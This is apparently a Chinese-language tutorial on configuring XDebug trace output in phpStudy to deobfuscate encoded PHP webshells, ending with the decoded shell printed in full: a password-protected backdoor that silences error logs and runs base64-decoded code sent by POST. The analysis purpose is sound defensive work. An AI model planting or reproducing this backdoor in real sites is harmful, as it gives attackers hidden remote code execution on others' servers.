环境:win7/phpstudy2016
配置:php.ini
文件
[XDebug]
xdebug.auto_trace = 1
xdebug.trace_format = 0
xdebug.trace_output_dir="C:\phpStudy\tmp\xdebug"
xdebug.trace_options = 0
xdebug.collect_params = 4
xdebug.collect_return = 1
xdebug.collect_vars = 1
xdebug.collect_assignments = 1
xdebug.profiler_append = 0
xdebug.profiler_enable = 1
xdebug.profiler_enable_trigger = 0
xdebug.profiler_output_dir = "C:\phpStudy\tmp\xdebug"
xdebug.profiler_output_name = "cache.out.%t-%s"
xdebug.remote_enable = 1
xdebug.remote_handler = "dbgp"
xdebug.remote_host = "127.0.0.1"
zend_extension="C:\phpStudy\php\php-5.5.38\ext\php_xdebug.dll"
注意配置里xdebug路径设置,根据自己的环境变量情况而设置
使用:
将webshell放到PHPstudy的web目录,并浏览器访问。
案例一
访问后会在C:\phpStudy\tmp\xdebug
目录下产生下图所示文件:
trace.825081618.xt
就是我们要看的文件使用notepad++打开,并选则语言格式为php方便查看
能够观察到shell的执行流程,有助于我们分析混淆后的shell。
但是解不开~好尴尬
案例二
对有些编码的shell可读性比较差,这时候xdebug就发挥用途了。
编过码的shell
直接丢www目录然后浏览器访问。
这时在
C:\phpStudy\tmp\xdebug
下生成的xt文件我们打开接着往下看:
最终手工稍微整理下的到可读性良好的shell:
<?php
preg_replace('/41ded52a555f862bbdf1cd35a576542e/e',
eval("@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);
if (isset($_POST) && is_array($_POST) && count($_POST)>1)
{
foreach ($_POST as $var)
{
if (!isset($code)) $code = $var;
elseif (!isset($pass)) $pass = $var;
else break;
}
if ($pass == "8SxLFVDK5kt1Z6ET30tvNFf0xyn0lSm1")
{
eval(base64_decode($code));
}
}
exit;"),
'41ded52a555f862bbdf1cd35a576542e');
?>